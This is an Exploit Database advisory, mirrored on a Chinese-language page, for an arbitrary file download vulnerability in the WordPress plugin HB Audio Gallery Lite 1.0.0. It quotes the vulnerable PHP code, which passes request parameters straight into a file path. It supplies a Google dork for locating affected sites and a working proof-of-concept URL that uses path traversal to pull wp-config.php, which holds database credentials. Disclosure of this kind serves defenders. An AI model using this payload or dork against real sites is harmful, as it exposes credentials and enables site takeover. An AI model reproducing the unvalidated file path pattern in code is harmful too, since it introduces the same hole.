WordPress Plugin HB Audio Gallery Lite 1.0.0 – Arbitrary File Download

• Exploit Database
• 19 阅读

• 作者： CrashBandicot
  日期： 2016-03-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39589/

• # Exploit Title: WordPress Plugin HB Audio Gallery Lite - Arbitrary File Download
  # Exploit Author: CrashBandicot
  # Date: 2016-03-22
  # Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite
  # Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/
  # Tested on: MSWin32
  # Version: 1.0.0
  
  # Vuln file : gallery/audio-download.php
  
  11. if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {
  13. $file_size =$_REQUEST['file_size'];
  15. $file =$_REQUEST['file_path'];
  17. $filename = basename($file);
  ....
  55. Header("Content-Disposition: attachment; filename='" . $filename . "'");
  
  
  # PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10
  
  
  # 22/03/2016 - Informed Vendor about Issue